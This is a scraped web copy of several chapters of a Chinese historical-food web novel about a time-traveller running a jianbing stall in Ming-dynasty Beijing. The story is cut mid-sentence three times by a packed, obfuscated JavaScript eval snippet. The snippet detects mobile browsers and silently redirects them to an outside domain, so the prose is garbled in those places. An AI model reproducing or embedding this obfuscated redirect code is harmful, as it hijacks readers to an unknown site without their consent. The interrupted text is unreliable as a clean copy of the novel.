《大明小食记》 1. 第 1 章 第1章 五更的梆子敲了数声，北京顺天府灵椿坊，各个街巷笼罩在一片昧爽中，四处少有动静。 蓦地，一阵啼哭声打破这份沉寂。 姜至喜从梦中惊醒，思绪尚且恍惚，手已经本能摸索着拍向炕头的襁褓。 可惜效果甚微，她只能支起身子，笨拙地把婴儿抱到怀里，学着旁人似的左右轻晃，费了好些工夫才哄得安静下来。 “二姐醒了？我来看着小妹，你再歇会儿吧。”旁边的珍姐儿听到动静，睡眼惺忪地爬起来。 小姑娘约莫八九岁，因着常年饥馑，显得头大眼圆，只身影瘦小如细苇，在昏暗的晨光下单薄到让人心惊。 姜至喜小心翼翼地将襁褓放回土炕上，摇了摇头：“不了，今天得和大哥去送水。” 一边说着，一边从炕沿木箱上取过自己的衣裳——一件磨得发亮的青布袄子，肘处补丁叠着补丁，里头絮的棉花板结发硬，比之单衣强不了几分。 就这，还是家里最体面的衣裳。 一抬头，瞧见珍姐儿撅着嘴巴，很是不认同的样子，姜至喜顿了顿，补充一句，“陈大夫也说要适当走动，才好让脑中淤血化开。” 听到是陈大夫的话，珍姐儿这才没有阻止。 短短半个月，家中变故已让小姑娘变成惊弓之鸟。 先是军户出身的父亲修城墙时被落石砸死，体弱的母亲忧心成疾，跟着撒手人寰，眼下大姐不在跟前，若二姐再有个三长两短，这日子可怎么熬下去？ 她忍不住叮嘱：“那二姐路上小心些，天还没亮呢。” 姜至喜点点头，掀开草帘走出屋子。 寒风簌簌，裹着细雪扑面而来，冷得姜至喜下意识缩起脖子，将双手藏到袖筒里。 期间难免碰到冻疮，疼得一个激灵。 豆蔻年华的姑娘，艳艳靓丽如花蓓蕾，一双手却似老妪粗糙，指腹肿胀开裂，遍布紫红的肿块，有几处甚至裂开见肉。 饶是姜至喜穿过来七天时日，还是有些无法适应。 比起疼，她更无法忍受每到夜间的痒意，只恨不得让人把手脚挠破。 不过倒也非全无收获，经过这些天的摸索，姜至喜已经大致清楚了自己的处境。 比如她现下所处的时代叫明，就是那个开国皇帝是朱元璋的明。 比如明成祖朱棣早已经迁都北京，传至如今，已经是大明第九个皇帝，弘治皇帝朱祐樘。 知道这一点后，姜至喜着实松了口气。 这位孝宗虽有褒贬，但于政策上，称得上是德义广运、慈惠爱民的好皇帝，自上位后，颁行了一系列新政，惠泽治下百姓。 再说这个身子，名叫姜喜，是灵椿坊南鼓巷军户姜栋牛的二女儿。 古人讲究多子多福，姜家也不例外。 原身今年十五岁，上头还有一个姐姐一个哥哥，底下缀着两个妹妹，本来日子过得就节俭，月前，姜家父母突然撒手人寰，留下五个儿女相依为命，都说没娘的孩子像根草，若是爹娘都没了，过的连草都不如。 原身兄妹本来住的是巷子最里面一户三合院的土坯房，姜父姜母去世没几日，就有其他军户过来，言其家中无有现役的军户，将兄妹三人赶到了另外一处落脚地。 明朝军户实行世袭制度，“军户身死，子孙继役，不许脱免”，常有一户人家世代为军户的情况。姜父是军户，姜洪身为长子继承父亲身份，也是一个军户，不过因为他尚未成丁，只在卫所登记为“幼军”，需待成年后再补役。 这也是那些人嚣张的原因。 卫所断不会为了一个“幼军”大动干戈。 姜家兄妹势单力薄，对方又拿出所谓的“袭职文书”，最后只得忍气吞声搬离旧居。 新的落脚地自然比不得原来的住处，房顶是茅草搭的，四处漏风，院墙塌了大半，剩下那截断垣还不及人腰高。屋里更是破败，连张像样的桌子都寻不见，只在墙角胡乱支了块木板，怎么一个凄惨了得。 原身性子本就孤僻，如此强烈的落差让她变得更加郁郁寡欢，某日半夜偷跑出家门，第二天被人发现倒在河边，后脑袋莫名磕在石头上，撞出了一个血洞。 这无疑对本就艰难的家庭雪上加霜。 姜至喜穿过来的时候，姜家大姐为了给妹妹治病，已自卖为婢。 剩下的兄弟姐妹也没有放弃她，变卖家中物件买药，可那点儿银钱很快耗尽，若非土房属于官府不能买卖，恐怕他们要流露街头了。 姜至喜并非草木，哪里能不触动？ 前几日她头脑昏沉，大部分时间只能躺在床上，无力为之，如今身子逐渐好转，得知姜洪每日需要送水时，当即决定一起出去。 帮忙是一方面，另一方面，她对外面的世界实在好奇得紧，旁人的转述终究不如亲眼所见。 院子里，姜洪正拿着瓠瓢往木桶里舀水，清理桶壁。 京师分内外城，内城毗邻皇城，自古属于钟鸣鼎食之地。 可人一多，吃水就成了难题，且内城的水井多是苦水，甜水井寥寥无几，那些勋贵官宦与富商大贾自不会纡尊降贵亲汲，于是便应运兴起了“挑水”的行当。 姜洪就是一个临时的“挑水夫”。 也是姜家目前唯一的劳动力。 “大哥，我来帮你。” 姜至喜走近了些，忙着干活的高壮少年抬起头，露出一张和姜至喜六七分相像的面庞，只五官更为硬朗，肤色晒得黝黑，瞧着有些唬人。 实际姜至喜知道，原身这位双胞大哥的脾气最为温和。 果不其然，姜洪侧身挡住木桶并没有让她碰，反而憨厚笑道：“今日下雪，东街那边路滑不好走，用过朝食再动身吧。” 他自个儿是不吃的，一般等着晌午回家再用饭，但喜姐儿大病初愈，身子经不得饿。 姜至喜不知姜洪的想法。 可想也明白，送水都是有时辰约定，她今日本就迟了些，哪里还能再耽搁？思忖片刻道：“不如我做点儿吃食拿着，路上得闲时，再与大哥分食？” 喜姐儿醒来后不再消沉，整个人沉稳活泼了许多，姜洪忍不住自责，都是他这个大哥没用，才让妹妹想不开跑出家门。 如今看喜姐儿愿意主动做点儿事，自然不会拒绝。 “行，再煮个鸡子予你自己吃。” 不用姜洪提，姜至喜也是要去厨房看看的。 这些天她躺在床上，一应吃食都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991800|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是珍姐儿给她端到跟前，多为蒸饼和水煮黄豆。 后者不必谈，前者却是用带有麸皮的小麦磨成粗麦面粉，外表粗糙发灰，吃起来口感干硬剌喉，能顶饱但没什么香味可言。 煮鸡子倒是有营养，靠着一日一颗，姜至喜后脑勺的伤口逐渐结痂。 只是每回用饭时，总能瞧见珍姐儿眼巴巴的模样，偏偏小姑娘懂事，一口也不吃！ 姜至喜内里到底是个成年人，不好意思一个人吃独食，打定主意大家平起平坐，而后抬脚踏入厨房。 他们现在住的房子属于军营附属的“营房改造房”，样式低矮拥挤，灶厨更是逼仄。 进门后，率先映入眼帘的是占据大半空间的土坯灶台，灶边堆着些柴火，看着颇为杂乱无章。时间紧迫，姜至喜只快速扫视一圈，便找到垂落的麻绳，将挂在房梁箢篼缓缓降下。 箢篼就是木编篮子，经劈篾、编织而成，椭圆浅口框，类似于后世的“竹簸箕”，里面存着这个家里所有的吃食。 一麻袋的粗麦面，大概三斤左右；半袋干瘪的黑豆，一小袋带壳糙米和两颗鸡子。 灶台旁放着油罐，几个调料罐，都是姜母先前置办的，如今已所剩无几。她拿起来闻了闻，是豆腥味明显的豆油，寻常人家只作点灯用，只有日子艰难的苦百姓才会食用。 姜至喜忍不住叹了口气。 即便她厨艺还算不错，可巧妇也难无米之炊啊。 只能在有限的条件里，尽可能的量力而为。 思及此，姜至喜悄悄往门外瞥了一眼。 姜洪正忙着刷洗木桶，并未注意这边。她突然背过身去，心念一动，几乎顷刻间，右手手心便凭空出现了两个圆滚滚的鸡子！ 倘若有其他人在，肯定会被凭空取物的本事所震惊！ 这其实是姜至喜最近才发现的秘密。 上辈子她和大多数人一样，按部就班读书上学，毕业后进入一家国企当设计师，哪知后面因工作强度大身体出了问题，这才辞职回了老家。 她自幼父母离异，相依为命的奶奶也在大学毕业那年去世，好在奶奶留下了一间老屋。她将老房子收拾妥当，又在后院开垦了片菜地，养鸡种菜，偶尔出门摆摊，拍些田园生活的视频，日子倒也自得其乐。 穿越那日，姜至喜为了抓从鸡笼里逃出来的芦花鸡，一个不慎撞到栅栏，再睁眼时，不仅人来到了这个陌生的世界，连带着她的“半个”小菜园也跟了过来。 之所以是半个，是因为菜园缩水成一平大小，如今这块恰好是菜园入口的畦埂，泥土早就开垦过，种着一簇小葱；另一旁的边角则搭着个干草鸡窝。 进去也方便，只要默念就能“看到”里面的样子。 姜至喜观察了几日，发现里面时间流速似乎和现实不同，气候宜人，种下的菜不用伺候便自动生长。 而且只要她不摘，那些蔬菜会永远停留在最新鲜的状态！ 这次，姜至喜就是从菜园的鸡窝里偷偷摸出两个鸡子。 嗯，两个鸡子和六个鸡子应该没什么太多区别。 既然已经拿了鸡子，索性又从菜垄边拔了根嫩绿的小葱，盘算着现有的食材，姜至喜决定做个简单的香煎鸡子水饼。 12. 第 12 章 第12章 油纸不大，用来包带煎饼果子，防止客人弄脏手，且油纸材质隔水隔油，具备一定的透气性，不至于让饼皮焖软，是时下摊贩常用的打包法子。 可再怎么常用，陈述也从未见过哪家的摊贩像姜记煎饼果子这般，竟在油纸袋背面印字！ 作为翰林院的一名庶吉士，陈述的日常工作与典章诰命为伴，堪称大明笔杆子。 乍然见到这种情形，只觉稀奇，于是本要扔掉的油纸袋又收了回来，翻过面来仔细查看。 这一看，忍不住怔住。 ——油纸背面印着的并非什么摊铺名号，而是一则发豆芽的口诀。 精捡豆，浸清水； 筐篓盛，湿布蒙； 避光线，压重石； 勤淋水，待芽生。 短短几十个字，便将生豆芽的步骤交代清楚，即便六十老叟，亦或青葱稚童，也能按方索骥顺利发好豆芽。 口诀末尾还特别声明，姜记煎饼果子里卷的豆芽菜正是按照这种法子发出来的，绝对童叟无欺。 陈述目光深深凝视那油印的文字，末了，突然叹了口气。 寒冬腊月，京师河流冰封，南边的菜运不过来，遂菜价贵于肉价，普通百姓饭桌难见青绿。 谁家要是握着发豆芽的方法，定是当做持家的生计，可那小娘子不仅没有藏着掖着，还公然印在包饼的油纸上，让谁都能学了去。 分明是真心实意，想让更多人在冬天能吃上口蔬菜。 此等胸襟，比许多大丈夫都要磊落。 想到自己之前还挑剔煎饼果子“不正宗”，陈述脸上便阵阵发烫，暗下决心，等晌午散值，一定再去光顾对方的生意。 晨钟敲响，伴随着浑厚的震颤，巍峨的朱红宫门在面前缓缓开启，陈述抵达地方，顺手将那张油纸叠收入袖中，走向熟悉的同僚身后排队。 风掀起衣袂，浓郁的香味飘散开来。 从旁侧经过的徐阁老，鼻头不动声色地耸动几下。 嗯？什么味道？ / 大都角头的确是个好位置。 卯时过半，街上行人愈发多了，煎饼果子的生意也逐渐忙碌起来。 外出给家人带朝食的当家娘子，出门采购暂时歇息的管事婆子，还有在附近酒楼食肆干活计的小工。 京师乃天子脚下，最是富庶繁华之地，治下百姓大多安居乐意，富足有余，也更乐意尝试新鲜事物。 这煎饼果子之前从来没有听过，嗯，买一个尝尝。 结果一尝，味道竟出奇的好，谁家没有个父母兄弟的？横竖不能吃独食，想着父母牙口不好，小弟又爱零嘴儿，便又打包两份带回家分去。 让姜至喜感到诧异的，买的最多的不是附近的百姓，而是上值的衙役和吏员。 大明公职人员俸禄不算丰厚，且常以“折色”“恩俸”代替，以至嘉靖、万历年后贪污成风。 但比起百姓来说，这些在官门里打工的上班族，手头还是富饶许多，最少也是加一份黄豆芽，有那大方的，直接大手一挥加了五份里脊！ 嘴上仍旧不满意，抱怨道：“你这配菜太少了。” 姜至喜浅笑，她倒想多加点，譬如什么炸鸡排炸猪排、烤肠肉松火鸡面，把后世那些堪称“奇葩”的各色配菜全部端上来，不过如此一来成本就会上去，并不适合他们眼下的情况。 好在那胖衙役也只是抱怨一二。 脸大的饼皮，打上一颗鸡子，外加五份里脊肉、三个猪柳。最后煎饼卷起来的时候，里面的配菜快要戳破饼皮，圆鼓鼓的像个大胖小子。 “差爷请慢用。” 其他衙役眼睛都直了。 “晏兄，你买这么大的饼子，吃得完吗？” “就是啊，万一不好吃，岂不是浪费钱财。” 被叫做晏兄的胖衙役乐呵呵地摆摆手，不甚在意：“放心，不好吃就喂狗。” 众人一噎，这叫哪门子放心，二十多文的吃食说喂狗就喂狗，也就晏家这般家底儿的人才说得出来。 他们可没晏几的豪气，只能精打细算，等着富裕同僚先尝上一口。 要是真好吃，六文钱嘛，未必掏不出来，就怕味道不行，白白糟蹋了铜板。 那边，晏几倒没有卖关子，拿到手后就揭开油纸。 因为离得近，袋子一打开，白茫茫的热气混着面香、蛋香、酱香、肉香，扑面而来，那味道浓烈又霸道，熏得凑近的几人口水泛滥，下意识就要跟着往前探。 临到头，晏几忽然往后退两步，警惕地瞥了他们几眼。 众人这才反应过来，煎饼果子是晏几买的，纷纷尴尬地把脖子收回来：“咳，晏兄快尝尝味道。” 不用他们说，晏几也准备吃了。 空气中的香味刺激的津液横生，他低下头，二话不说对着快要炸开的煎饼果子就是一大口。 毫不夸张，那一霎那，空气中的香味以几十倍涌入口中，晏几因为肥肉拥挤成缝的眼睛，瞪成了小牛眼。 这味道是真实存在的吗？ 第一感觉：软，咸，香。 刚刚出铛的煎饼果子，味道最正宗，芝麻是事先洒在蛋液上的，熥熟后逼出芝麻香，焦而不苦，衬得煎饼皮很有滋味。 夹肉软嫩多汁，里脊油薄，猪柳厚实，二者各有各的美味。 也不知道那年轻小娘子是怎么做的，向来腥臊的猪肉，经过处理后，不仅没有了骚气，反变得咸香入味。 晏几赶紧再咬一口，鲜的眉毛简直起飞，外头酥脆掉渣，里面嫰到涌汁，那汁水并非清汤寡水，而是从肉里缓缓煨出的油润原汁，稍微一吮，全部滋润了舌齿。 油香满口，半点不觉得腻。 晏几这等身量，一看便是个能吃会吃的。 他三两下就摸到了其中门道。手捏着油纸往上挤，将落在底下的厚厚肉片拨到上边与生菜为伴，酱汁稠稠地裹着二者，确保接下来的每一口能吃到所有的配菜。 果不其然，这样吃进肚子的味道更加丰富，先是蛋饼，而后是生菜，生菜中裹着炸肉，层次丰富有质感，只让人千金不换。 晏几自诩尝过美食无数，煎饼果子不算复杂，他只瞧了几眼，就瞧出了七七八八，唯一称得上特别的，大约是里面的酱汁。 可就是这样普通的食材、普通的做法，却让他一口接着一口，停不下来。同行的同僚们早就抛之脑后，此刻的晏几完全沉浸在美食中，腮帮子一鼓一鼓，那副酣畅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991811|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的模样，馋得周围人挪不开眼睛。 不知是谁先咕噜一声，咽了口口水：“……晏兄吃着如何？” “对啊，要是好吃，兄弟几个也去买一份尝尝。” 晏几意犹未尽地砸吧砸吧嘴，不知何时，手里的煎饼果子吃完了，他望着空荡荡的油纸，富态的脸皱起眉头。 落到其他人眼里，却成了另外一番意思。 众人面面相觑：莫非这食物只是闻着香，实际难吃至极？ 几个手头有些紧的衙役暗自松了口气，幸好方才没有跟着买，否则六文钱要打水漂了。 …… 薛三今日来得比昨日晚了两刻。 指使着小弟去城门口接应，然后直接把豆芽菜推到安定门大街。 此时，天色已经大亮，日头挂着暖意，可薛三丝毫不慌张。 昨日靠着压价，他们把带来的豆芽菜全部售尽，赚了百来十文，姜家兄妹却被挤兑得没卖多少。 百姓既知道有更便宜的，谁还会多掏钱？就算他晚来些，料那对兄妹也翻不出什么浪花。 他甚至猜测，今日姜家兄妹大概率会跟着降价，而这恰恰中他下怀。 他们降，他就压得更低，横竖这些豆芽是通过薛总旗的“关系”从城外园户手里收来的，本钱薄，完全拼的起。 正盘算着，薛三忽然看见对面的摊子围上了好几层人，里里外外人头攒动，竟比昨日还要热闹。 他眉头一皱，随手招来一个跟班：“你过去瞅瞅怎么回事。” 那小弟悄悄过去打听，没一会儿又跑回来：“大哥，不好了，他们改卖吃食了！” 闻言，薛三脸皮瞬间耷拉下来。 按照计划，靠着不停压价，不出几日姜家兄妹的生意便会干不下去，届时只能灰溜溜离开，谁知对方竟改卖吃食？！ 他冷哼了声，眼底厉色一闪而过，大摇大摆走过去：哟，这是做的什么？昨日你们的豆芽菜卖不出去，现在随便卷进饼里就卖给别人？” 他故意说得含糊，让人误以为姜家兄妹是把昨日卖不掉的陈豆芽掺进了饼里。 摊子前的食客买的正是加豆芽菜的，一听这话当即变了脸色：“不买了不买了！拿卖不掉的菜充数，心太黑了！” 负责收钱的姜洪急忙解释：“客官，我们这都是新鲜的豆芽菜！” “哼，谁知道你们有没有撒谎！”薛三大声反驳。 于是百姓们又犹豫起来。 见状，薛三脸上露出得意之色，他伸手就要去掀摊子上的物什，正在这时，背后突然传来一股大力，推得他头扎着往前一个踉跄，险些栽倒。 “吵什么吵！” 薛三刚要破口大骂，一扭头对上身着皂衣的衙役，对方膀大腰圆，恶狠狠呵斥：“拦路当差，想挨板子不成？” “不…不敢不敢！” 方才还气势汹汹的薛三，瞬间吓得吞咽口水，连连后退。见衙役走到姜家摊子前，又不死心开口，“差爷，他们家的豆芽菜是昨日卖不出去的陈货。” 那胖衙役，也就是晏几翻了个白眼：“嘿，关我屁事，爷看着像是吃豆芽菜的人？” 然后径直把一个碎银子丢给姜洪：“给爷再来五个加里脊的煎饼果子！” 13. 第 13 章 第13章 晏几这一要求，不止薛三傻了眼，连带着姜洪和姜至喜也愣住了。 煎饼果子六文钱，一个早晨过去，用来装铜板的钱匣子里攒了不少铜板，银子还是头一次收到。 虽然是碎银子，看着重量，少说也有二两。 姜至喜很快回过神，脸上堆起十二分的笑。她本就生得好，先前营养不良而瘦削的脸颊，因着家中伙食好转，逐渐丰润起来，衬出几分清秀：“差爷稍等，这就给您做！” 笑话，这可是位大客户，得伺候好了！ 满身疲惫一扫而空！ 姜至喜重拾抖擞，从木桶里舀了瓢子水洗干净手，为了维护大客户，还多余给每个煎饼都多添了一颗鸡子。 晏几不差这点钱，但见这小摊主如此上道，心里自然满意。 而一旁的薛三，从最初的茫然，到震惊，再到麻木。 瞥见姜至喜掩饰不住的喜色，一股夹杂着酸气的怒火直冲天灵盖，甚至压过了对衙役的畏惧。 “差爷！您可别被骗了，这俩人是住在棚户的孤儿，不知从哪弄来的材料做吃食，怕是猪都不吃。” 姜至喜：“？” 不是，商战就商战吧，怎么还自投罗网呢？ 她心里有些唏嘘，看向晏几，果然胖衙役的表情变得极其难看。 呵，猪都不吃，那已经吃过的他是什么？猪吗？ 晏几简直要气笑了。 那生菜青翠欲滴，肉质又嫩又软，绝对不是对方口中的陈货。一整个煎饼果子下肚，馋虫全部勾了起来，先前见摊子前排起长队，他不止一次后悔自己没有多买几个。 好不容易排队的人少了，晏几悄悄抛下同僚们过来，结果却突然出现一人，叨叨赖赖不让他买。 该不会是故意哄他，好趁机插队吧？ 薛三本以为能搅黄姜家生意，结果被冷眼一扫，后背莫名发凉。 偏偏就在这时候，身后传来杂乱熙攘的起哄。 “好你个晏几，自己吃完不吭声，敢情是怕我们和你抢啊！” “可不嘛，说好一起共患难，你却偷偷吃独食，忒不厚道！” 薛三回过头，视线中居然出现一群衙役，他那刚刚升起来的气顿时消散，剩下的话也噎回嗓子眼。 他哪里知道，这些衙役其实是顺天府衙的人。 平日里上值经过此处，总爱在附近买些朝食，日子久了，难免觉得腻味。 今日瞧见有新鲜吃食，众人起先不敢贸然尝试，商量过后便推家底儿殷实的衙门关系户晏几出来“试试水”。 晏几又不缺钱，当即爽快应下。 众人计划的很好，先观望，再决定买不买，这小子吃的时候一直皱眉头，半句话不说，大伙儿起初还当是味道不好呢。 结果一扭头，对方就摸出银子一口气要买五个，这哪里是难吃，分明是好吃到不想分给其他人！ 被戳穿的晏几心里着急，表面依旧嘴硬：“谁说好吃的，我这是看摊主不容易，多买几个回去给衙门的大黄改善伙食！” 同僚白眼快要翻到天上：“得了吧晏兄，大黄要有这口福，明儿怕是穿上官府替您上值了！” “就是！饼渣子掉衣服上都舍不得拍，还说给狗吃？” 有那聪明的，不参与争吵，偷偷溜到摊子前：“小娘子，给我来两个煎饼果子！” “哎，我也要两个！” “我只要一个，小娘子先给我做，嘿嘿……” 晏几眼见掩饰不过，先是心中长长哀嚎一声，索性破罐子破摔，庞大巍峨的身躯往摊子前一站，直接挡住了所有人：“懂不懂先来后到，我的五个煎饼果子一个都不能少，做完我的才能轮到你们！” 他刚才可是瞥到摊子后面的面盆，面糊只剩薄薄一层！ 见状，可是急坏了其他衙役，生怕抢不着，一时顾不得什么脸面礼节，纷纷挤上前掏钱。 至于找茬的薛三，早被推攘到了一边。 衙役虽只是不入流的胥吏，可到底是吃着皇粮的差役，寻常百姓见了都得点头哈腰，更遑论薛三这样的小小军户。 要知道，这里的军户可和后世备受推崇的军人不同，因着明太祖设立的军户制度，大明军籍低贱，世袭罔替导致多为被迫服役。且其服役是为皇权，与百姓利益关联微弱。 薛三平日仗着几分蛮横在南鼓巷横行，欺软怕硬，真正遇上官差，终究是底气不足。 姜至喜笑了。 这算不算无心插柳柳成荫？ 原本她准备了别的法子来应对薛三的刁难，不过眼下看来，倒是不必费那个功夫了。有衙役们“撑场子”，这样的好机会怎么能错过。 思及此，姜至喜将独轮车上的陶罐打开，露出里面的配菜。 而后故意提高声音，确保让周围的百姓都能听见：“几位差爷明鉴，虽是小本生意，小女也知道诚信经营的道理，断不会用不新鲜菜出来做买卖，何况小女和大哥已经在此地摆摊月余，卖的豆芽菜谁不说好？” 豆蔻年华的少女，一双杏眸含泪，因为被诬陷，瘦小的身子摇摇欲坠，却又坚韧如蒲苇：“还有这装食物的车子，我大哥昨日里里外外擦了三遍，便是希望让食客们吃得干净，吃得放心。” 姜洪怔了怔，没想到喜姐儿连这等小事都记在心上。 他害怕帮不上忙，尽量做些小事，本来很是愧疚了，这会儿听到喜姐儿的看重，眼睛控制不住红起来。 忙低头用袖子抹了把脸，生怕叫人瞧见这副没出息的模样。 其他食客却是被姜至喜的话给震住：好一个吃得干净，吃得放心！ 从前在外面买吃食，每次遇到不干净的，百姓们只能自认倒霉。 却原来，并非所有摊主都是这般敷衍了事。 这时，豆腐摊的王大突然站出来，大声道：“草民可以证明，姜小娘子家的豆芽菜很新鲜！” 之前他畏惧薛三，不敢替姜家兄妹出声，可现在官老爷们都来了，王大还有什么害怕的。 他早就忍够了！ 有一便有二，陆续的，人群中又有其他人出声：“我也买过，嫩得出水，一看就是刚发的。” “小娘子心好呢，还跟我讲要如何做才好吃。” “可不嘛，反倒是对面那家豆芽菜一点儿也不新鲜。” 这位显然是贪图便宜买了薛三豆芽的人，生气谩骂：“老子买了两斤，家去炒了根本咬不动！” “我也买了，里面还有坏豆子呢！” 被挤到角落里的薛三闻言又气又怕，这些人听到他降价自己跑来买，如今却反过来指责他，他死死瞪着那些人，恨不得扑上去生吞活剥。 衙役们没想到其中还有这般复杂的故事。 再看姜至喜，漂亮“柔弱”的小娘子总是让人心生怜惜，语气不由得温和下来：“放心，我等都看得清楚，这饼子你尽管去做。” 姜至喜脸上露出感动神色：“多谢各位差爷。” 之所以做出这一举动，主要还是为了当众给煎饼果子摊的卫生“正名”。 连衙役都相信了，其他人再说什么就是污蔑！ 解决完这件事情，姜至喜不再拖延，开始利落地给衙役们摊饼。 五个人，要了十三份煎饼果子，她做的速度并不慢，但算下来也近一刻钟，而这条街上的百姓多为路过，如此一来无法接待更多食客，看来后面可以考虑再加点儿其他可以直接卖的吃食。 稀薄的黄豆麦面，在篪子的拨下，戏法似的变成薄薄的圆饼，打一颗鸡子拌匀，翻面刷酱，再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991812|193744||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加入各种配菜。 见状，衙役们立刻涌上前：“我来！” “给我，老子都快饿死了！” 最终，晏几凭借着身板优势，一把抢走了刚做好的煎饼果子。 姜至喜顿觉亚历山大，赶紧再加快摊饼的速度。 等到十三个煎饼果子做完，她的手都有些酸涩了。 好在衙役们吃上了煎饼果子，并纷纷表示满意。 豆面的软润，果篦的脆响，一口下去，片片裹满酱汁的嫩豚肉，搭配上清爽的豆芽和生菜，早起上值的烦躁都没有了！ 可惜他们不像晏几似的家大业大，只能买一个尝尝鲜。 不过没记错的话，那小子一口气买了五个，定是无法吃完，届时他们是不是可以……嘿嘿。 晏几可不知道同僚们已经盯上了他的煎饼果子，他吃了两个，腹部不再饥肠辘辘，可以放慢速度品尝享受。 也是如此，得以注意到了油纸背后的小字。 他下意识念出来，人群中，有个识字的老童生听完后，面露迟疑：“这听着怎么像是发豆芽的法子？” 姜至喜爽快解答：“没错，这确实是发豆芽的法子，我家便是普通百姓，最是知道百姓生活的不易，每到冬日除了腌菜便无菜可吃，偶然发现这豆芽菜的法子，一试之下居然成功了，如今家里有了营生，这法子所以我想着，不如就教给大家。” 不是学他们么？ 豆芽菜本就是前人传下的巧思，她也不过是拾人牙慧，借过来一用。 巧的是，这样的牙慧她还有很多。 新品上新，总要搞些活动、促销吸引客人吧，正好买一份吃食附赠一份生豆芽的方子，不识字也无妨，他们可以亲自讲解，分文不取。 衙役们听的惊愕。 还能这样？！ 姜至喜狡黠一笑，怎么不能呢？ 他们将这生芽菜的法子免费教给百姓，也算响应大明皇帝号召，积德行善，是一桩顶顶好的好事呢。 损，是真损。 但爽也是真爽。 周围百姓得知这一消息，原本还没有打算买煎饼果子，这会儿突然抢着买，短短一会儿的功夫，小食摊又收到十份订单。 当然也有听了价钱被六文钱劝退的。 无论如何，姜至始终保持着稳定和煦的态度：“咱们摊子一直在这儿，客官得空了再来尝尝。” 那人原本因囊中羞涩而尴尬，在姜至喜口中却变成了他忙着其他事情，心中一松，盘算着等赚过钱，自己定要买一份尝尝。 一个早上，摊前的食客就没断过。 姜洪负责收钱，装铜板的布袋子越来越满，眼看着就要撑破，他脸上的笑意也藏不住，嘴角快要咧到耳根子。 因着第一日尝试，只备了一盆面糊，不到半个时辰就见了底，还是姜至喜见势不对，提前留下一些，才没有让晚来的老婆子走了空。 “大哥，这下咋整？” 风水轮流转。 昨日还门庭若市的豆芽摊，今儿个却冷清得连个鬼影都不见，反倒是姜家摊位再次爆火。 街对面，薛三一双三角眼死死盯着姜洪兄妹，却又忌惮之前的衙役不敢上前。 一个住窝棚的孤儿，除了有把子傻力气，凭什么这般嚣张？ 他猛地将手里的匏瓢掼在地上，恶狠狠道：“你们在这儿盯着，我去趟薛总旗那儿！” 暂时先让他们再得意会儿，等回去之后，他看他们还能去哪找衙役撑腰！ 薛三计划得很好，谁知刚迈出一步，方才那几个衙役就拦住了他的去路。 为首的晏几挺着吃饱的肚子，打了个饱嗝：“兄弟们来活了，去把兵马司的兄弟叫来，就说这儿有几个没有摆摊许可帖子的，让他们把人关进去！” 14. 第 14 章 第14章 薛三那帮人的下场，姜至喜无心理会。 今日之事，并非她一时冲动，而是经过深思熟虑的筹划。 因着豆芽菜赚钱，他们兄妹惹了巷子里不少人的眼。 和做吃食不同，吃食做得好，旁人只会觉得是你的本事，可这生豆芽的法子，说穿了谁都能学，于是便有人觉得姜家走了狗屎运，换作他们照样能成。 听着很是可笑，然这就是人性。 这些天，姜至喜不止一次察觉到有人在他们家附近徘徊，以至于出门时总是叮嘱珍姐儿不要随意开门，还给陈氏送了些豆芽菜，请求对方帮忙照看一二。 没办法，姜家现在还是太弱小了。 姜至喜心中叹了口气，但并未因此感到气馁。 她所求向来简单。 无论上辈子还是这辈子，不过一方安稳屋檐，三餐温饱，二三知己围炉夜话。 路要一步一步走，饭要一口一口吃，她相信只要脚踏实地，自己肯定能在这偌大京师，挣出一片天地。 时下百姓多淳朴，即便精明如商人，也不过做些“折让”、“广告”等吸引客人。 因此，得知大都角头有人买吃食送法子，百姓们纷纷赶了过来。 结果就听到那容貌秀丽的小娘子歉意道：“今日面糊已经卖空了。” “什么，我才刚过来？！” “哎呀，让你走快点，这下好了，吃不到咯！” 还有人眼珠子一转，询问能不能单独买他们的油纸。 姜至喜……当然是毫不犹豫婉拒了。 这“法子”油纸可是她宣传的噱头，若是随随便便就卖了，哪还能引得客人日日来光顾？自然得吊着他们的胃口才行。 那人听了这话，脸上露出几分遗憾，不过倒也未纠缠，只心中已经暗自打算明日要早些过来。 待送走了最后一位排队的食客，忙碌了一早上的兄妹终于有时间坐下休息，姜至喜用剩下的配菜做了一个“菜卷炸猪柳”，先垫一下唱空城计的肚子。 顺手给隔壁的王大也卷了一个。 “方才多亏了王大哥仗义执言，没了饼皮，还希望王大哥不要嫌弃。” 王大早就被这香味勾得馋虫直冒，当下不再推辞地接过来。 他知道好吃，但真正吃到嘴里，还是低估了好吃程度。 